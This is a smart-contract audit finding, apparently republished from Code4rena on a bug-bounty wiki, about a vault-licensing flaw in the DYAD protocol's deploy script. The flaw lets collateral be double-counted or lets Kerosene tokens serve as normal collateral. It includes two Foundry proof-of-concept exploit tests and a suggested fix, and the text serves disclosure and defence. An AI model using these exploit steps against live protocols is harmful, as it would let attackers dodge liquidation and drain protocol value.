Design flaw and mismanagement in vault licensing leads to double counting in collateral ratios and positions collateralized entirely with kerosine
The deployment script licensed the same WETH vault in both the KeroseneManager and VaultLicenser, and licensed the Kerosene vault in the VaultLicenser. This allowed users to register the same WETH vault in both normal and Kerosene vault mappings, double-counting collateral, or to use the Kerosene vault as normal collateral, enabling inflated collateral ratios and positions backed entirely by the volatile Kerosene token.
Maroutis Follow with falconhoof, 0xleadwizard and 44 others
Originally disclosed on Code4rena
Submitted by Maroutis, also found by falconhoof, pontifex (1, 2), 0xleadwizard, Hueber, grearlake, josephdara, 0xlemon, gumgumzum, Emmanuel, ych18, Al-Qa-qa, adam-idarrha (1, 2), CodeWasp, Honour (1, 2), 0xabhay (1, 2), oakcobalt (1, 2), SBSecurity (1, 2), Infect3d, SpicyMeatball, Limbooo (1, 2), AM, LeoGold, Daniel526, Giorgio, KupiaSec, Circolors (1, 2), neocrao, 0xtankr, The-Seraphs, 0xShitgem, poslednaya, ke1caM, ljj (1, 2), TheSchnilch (1, 2), bhilare_, n4nika (1, 2), btk, iamandreiski (1, 2, 3), VAD37 (1, 2), 0xnilay, Aamir, carlitox477, n0kto, petro_1912, Abdessamed, itsabinashb, shaflow2, web3km (1, 2), dimulski, ZanyBonzy, shikhar229169 (1, 2), T1MOH (1, 2), zigtur, Topmark, Krace, cinderblock, Egis_Security, AlexCzm (1, 2), 3docSec, PoeAudits, TheSavageTeddy, kennedy1030, 0x486776, and zhaojohnson (1, 2)
Impact
Due to a design flaw in the protocol’s management of vault licensing and the deploy script, a significant risk exists where collateral can be counted twice in the calculation of the Collateralization Ratio. This occurs because WETH vaults are incorrectly licensed to both the KeroseneManager and VaultLicenser, allowing users to register the same asset and their NFT ID in both Kerosene vaults and normal vaults. This can allow users to exploit this to greatly inflate their CR calculations, misleading the protocol into considering a position more secure than it truly is, which can prevent necessary liquidations and pose significant risk to the protocol.
However, a user can also register his ID and the keroseneVault as a normal vault because the script calls the licensing function for the kerosineVaults using the VaultLicenser rather than the kerosineManager. This can lead to positions entirely collateralized with kerosene token. Which is not what protocol intends to do and is very risky as the kerosene token is endogenous and has a manipulable asset price.
Proof of Concept
Basically, there are two exploits with devastating impacts on the protocol:
Exploit #1: The DeployV2 script calls both contract licensing tx functions on the weth vault.
kerosineManager.add(address(ethVault));
kerosineManager.add(address(wstEth));
and:
vaultLicenser.add(address(ethVault));
vaultLicenser.add(address(wstEth));
The licensing via the kerosineManager also has to be done, because the weth vaults will be used by the UnboundedKerosineVault contract during the price calculation of the kerosine asset.
This can be exploited where users can call both VaultManagerV2::addKerosene and VaultManagerV2::add functions with their id and the weth vault as parameters. The VaultManagerV2::collatRatio uses both vaults and vaultsKerosene mapping to calculate the value of the stored assets. Since, weth vault is added in both mappings the assets be counted twice.
Consider the following test:
function test_CanMintSameAmountAsDeposit() public {
// address RECEIVER2 = makeAddr("Receiver2");
uint256 id = mintDNft();
uint256 id2 = mintDNft();
// Add vault in both contracts
vaultManagerV2.add(id, address(wethVaultV2));
vaultManagerV2.add(id2, address(wethVaultV2));
vaultManagerV2.addKerosene(id, address(wethVaultV2));
// Deposits 1e25 USD of Weth
depositV2(weth, id, address(wethVaultV2), 1e22);// Price weth 1000
// Mint 1e25
vaultManagerV2.mintDyad(id, 1e25, RECEIVER);
// Protocol considers that User has deposited twice the amount in the collateral ratio calculation
console.log("CR of position", vaultManagerV2.collatRatio(id)); // 200%
// Position is not liquidatable even if it is only collateralized at 100%
vm.expectRevert(IVaultManager.CrTooHigh.selector);
vm.prank(RECEIVER);
vaultManagerV2.liquidate(id, id2);
}
Exploit #2: The DeployV2 script calls the licensing tx functions on the kerosine vaults using the vaultLicenser:
vaultLicenser.add(address(unboundedKerosineVault));
// vaultLicenser.add(address(boundedKerosineVault));
This has to be done via the vaultLicenser instead of the kerosineManager so that the kerosene vault assets would not be taken into account during the price calculation of the kerosine asset.
A user can just call the VaultManagerV2::add function with their ID and kerosine vault as parameters. Since, the kerosine vault will be stored inside the vaults mappings, some positions can be mostly or entirely collateralized with the kerosine asset, which is not what is intended by the protocol. In fact kerosene is a volatile asset and can cause stability and liquidity issues to the protocol.
Consider the following test:
function test_addKeroseneAsExoColl() public {
uint256 id = mintDNft();
uint256 id2 = mintDNft();
// Follow script deployment. Weth Vault is licensed in both VaultManager and KerosineManager
// A user can just add his id and the WethVault in the kerosine mapping and kerosineVault in the vault mapping
vaultManagerV2.addKerosene(id, address(wethVaultV2));
vaultManagerV2.add(id, address(unboundedKerosineVault));
// Assume weth was deposited by other users
depositV2(weth, id2, address(wethVaultV2), 1e24); //weth 1000 Usd
// User deposits kerosine using id
kerosineMock.mint(address(this), 1e20);
kerosineMock.approve(address(vaultManagerV2), 1e20);
vaultManagerV2.deposit(id, address(unboundedKerosineVault), 1e20);
console.log("Kerosine price", unboundedKerosineVault.assetPrice()); //9999
//Then mint dyad
vaultManagerV2.mintDyad(id, 1e19, RECEIVER);
// => Position 150% collateralized with kerosine tokens
// !! User cannot add kerosine bounded or unbounded vaults in the kerosine mapping in the vault Manager
// !! and id and weth vault can be added in both kerosene and normal vaults which would make the amount deposited calculated twice in the collateralRatio
}
Tools Used
Foundry test
Recommended Mitigation Steps
The design of the licensing part needs to be re-thinked. The issue here is that the vaults mapping of the KerosineManager contract which is constructed via the method KerosineManager::add is the same mapping that is used by the UnboundedKerosineVault::assetPrice function. You can consider creating two separate mappings.
One used only for the price calculation in the UnboundedKerosineVaultassetPrice contract which would only include the classic vaults (weth …); another mapping used for the licensing part which would include the kerosene vaults.
Let’s assume these were implemented, we have now two mappings. The DeployV2 should change as follows:
kerosineManager.addVaultForOracleCalculation(address(ethVault));
kerosineManager.addVaultForOracleCalculation(address(wstEth));
kerosineManager.add(address(unboundedKerosineVault));
kerosineManager.add(address(boundedKerosineVault));
Assuming the addVaultForOracleCalculation feeds a mapping that will be used by UnboundedKerosineVault::assetPrice while add doesn’t.
Note: For full discussion, see here.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the deployment script licensed the WETH vault in both the KeroseneManager and VaultLicenser, and licensed the Kerosene vault in the VaultLicenser, so the same vault could be registered in both the normal and Kerosene vault mappings used by the collateral ratio calculation.
Impact
Users could inflate their collateral ratio so positions that are only 100% collateralised appear as 200% and cannot be liquidated, or hold positions collateralised entirely with the volatile Kerosene token, posing significant risk to the protocol.
What the attacker needed
Deployed protocol with the flawed script; a user account with an NFT id; WETH or Kerosene tokens to deposit
The fix
The licensing design should be rethought by using separate mappings: one for the vaults used in the Kerosene price calculation and another for licensing, and the deploy script should be updated accordingly.
How it was found
- Deploy the protocol using the DeployV2 script, which licenses the WETH vault in both KeroseneManager and VaultLicenser.
- Call VaultManagerV2::add and VaultManagerV2::addKerosene with the same NFT id and the WETH vault address.
- Deposit WETH into the WETH vault for that id.
- Mint DYAD against the position; the collateral ratio counts the WETH twice, so the position appears over-collateralised and cannot be liquidated.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In this lending protocol, users deposit collateral and borrow a stablecoin. The collateral ratio (CR) measures how much collateral backs the debt; a higher CR means the position is safer. A mistake in the setup script let the same collateral be counted twice, or let a risky token be used as collateral, so users could appear safer than they really were and avoid liquidation.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.